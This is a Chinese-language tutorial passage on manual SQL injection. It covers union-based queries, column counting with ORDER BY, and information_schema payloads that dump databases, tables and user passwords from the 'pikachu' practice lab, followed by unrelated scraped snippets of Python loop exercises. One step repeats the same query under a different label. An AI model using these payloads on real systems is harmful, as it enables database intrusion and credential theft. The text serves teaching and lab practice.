sql語句:
select database(); //獲取資料庫名稱
select user();//獲取使用者名稱
select version(); //獲取版本
基於union的資訊獲取
union聯合查詢:通過聯合查詢來尋找指定資料
notice:union聯合查詢需要與select欄位相同。
語法:select * username,password from users where id=『cindy』 union select 1,2…
因此,我們在使用聯合查詢前需要進行字段數量的測試。
測試方法:使用order by排序功能。
order by介紹:order by在sql語句中起到對欄位排序的作用。
語法:order by + num(欄位的數量,>0,!>欄位數均可)若大於字段數則會報錯。
那麼我們該如何測試呢?
基於語法特點,在num值大於字段數量是會報錯,那麼我們可以依次進行測試。直到其報錯,字段數量為報錯時num值減一,相信大家都會理解。
information_schema注入
information_schma可以查到你的所有的搭建的資料庫名、表名和列的資料型別,在一切條件未知的情況下,存在注入點的話我們可以直接嘗試對information_schema進行訪問,從而獲得更多的資訊。
獲取資料庫名(行話:爆庫):
***』union select table_schema,table_name from information_schema.tables where table_schema=『pikachu』#
1獲取表名(行話:爆表):
***』union select table_name,column_name from information_schema.columns where table_name=』users』#
1獲取列(行話:爆欄位):
***』union select table_name,column_name from information_schema.columns where table_name=』users』#
1獲取密碼(行話:爆資料):
***』union select username,password from users#
基於函式的報錯注入
查版本
查名稱
由此可獲得資料庫的名稱
extractvalue()
extractvalue和updatexml的效果是一樣的
練習作業1
一 使用while迴圈輸入 1 2 3 4 5 6 7 8 9 1 count 1 while count 11 if count 7 print else print count count 1 二 求1 100所以自然數之和 1 x 1 2 s 0 3while x 101 4 s s x 5 ...
python迴圈練習作業
1.輸出10行內容,每行的內容都是 for i in range 9 print 6 結果 2.輸出10行內容,每行的內容都不一樣,第1行乙個星號,第2行2個星號,依此類推第10行10個星號。for i in range 1 11 print i 結果 3.輸出9行內容,第1行輸出1,第2行輸出12...
sql手注的思路
1.首先,你需要乙個好的靶場練習和題型模擬,我在這裡給大家推薦一些,比如 烽神台等,簡單註冊即可。以貓舍為例 1.尋找注入點 一般去和資料庫互動的地方找,構造 and 1 1 回車 構造 and 1 2 回車 如果第一次頁面不變,第二次頁面異常的話,可能存在注入點 2.判斷字段數 目的 找到有幾列,...